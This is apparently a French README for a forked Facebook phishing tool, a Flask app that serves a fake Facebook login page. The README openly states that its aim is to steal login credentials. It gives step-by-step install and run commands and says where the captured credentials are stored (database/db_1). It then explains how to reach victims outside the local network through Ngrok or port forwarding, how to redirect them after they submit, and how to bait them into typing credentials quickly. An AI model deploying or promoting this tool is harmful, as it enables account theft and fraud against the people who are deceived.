Facebook Phishing

Auteur original : Arslan Mughal

PAR : arjunindia

dépôt original : https://github.com/arslanmughal5566/facebook_phishing

À propos du script :

Avec ce script, vous pouvez voler les identifiants de connexion Facebook en utilisant certaines compétences d'ingénierie sociale.

Prérequis :

1 : Python3.x 2 : Flask Pour installer Flask, ouvrez un terminal et tapez la commande suivante,

user@repo~# pip3 install flask

assurez-vous d'avoir python 3 installé avant d'installer Flask ; si vous utilisez Windows ou macOS, téléchargez et installez d'abord python3.

Utilisation :

clonez le dépôt, ouvrez un terminal dans le dossier source et exécutez app.py

user@repo~# python3 app.py

ouvrez maintenant votre navigateur et allez à 0.0.0.0 ou localhost ou votre adresse IP locale.

La page de connexion Facebook apparaîtra ; saisissez vos identifiants et cliquez sur Connexion. Rien ne se passera, mais restez avec moi :)

Allez dans le dossier source, puis dans le dossier database, vous trouverez un fichier nommé db_1 :

../database/db_1

Ouvrez-le : les identifiants que vous avez saisis sur la page de connexion seront stockés dans le fichier db_1.

C'est ainsi que vous pouvez attaquer sur le même réseau, mais vous pouvez aussi réaliser cette attaque hors du réseau en utilisant [Ngrok] (https://ngrok.com/)

VOUS POUVEZ DÉFINITIVEMENT UTILISER LA REDIRECTION DE PORT. REDIRIGEZ LE PORT 80 (PORT DU SERVEUR HTTP) ET VOUS POUVEZ ALORS UTILISER LA PAGE VIA LE WAN.

Vous pouvez également joindre une image ou autre chose avec le lien pour que l'utilisateur saisisse immédiatement ses identifiants.

Comment mettre à jour l'outil

Exécutez cette commande :- git stash && git pull

fb-phisher-python

Nouveautés par rapport au code original :

1) Rendu de la page adaptée aux mobiles.

2) Création d'une autre page b.html vers laquelle la page sera redirigée après la soumission. Modifiez la variable url dans le fichier b.html (dossier templates) pour indiquer la page web vers laquelle vous souhaitez que la victime soit redirigée.

Nouvelle MISE À JOUR !

=>AJOUT de ./install.sh. Désormais, si vous installez avec ce script, vous pouvez utiliser la commande 'facebooker' pour lancer l'outil.

Pour installer le script :-

user@repo:~# cd fb-phisher-python

user@repo:fb-phisher-python# chmod +x install.sh
user@repo:fb-phisher-python# ./install.sh

Vous pouvez maintenant l'exécuter en tapant 'facebooker'

user@repo:~# facebooker

=>AJOUT D'UNE FONCTIONNALITÉ SUPPLÉMENTAIRE, à savoir une nouvelle fonction pour modifier facilement le lien de redirection. Installez avec install.sh, exécutez avec la commande facebooker et il vous demandera le nouveau lien au lancement.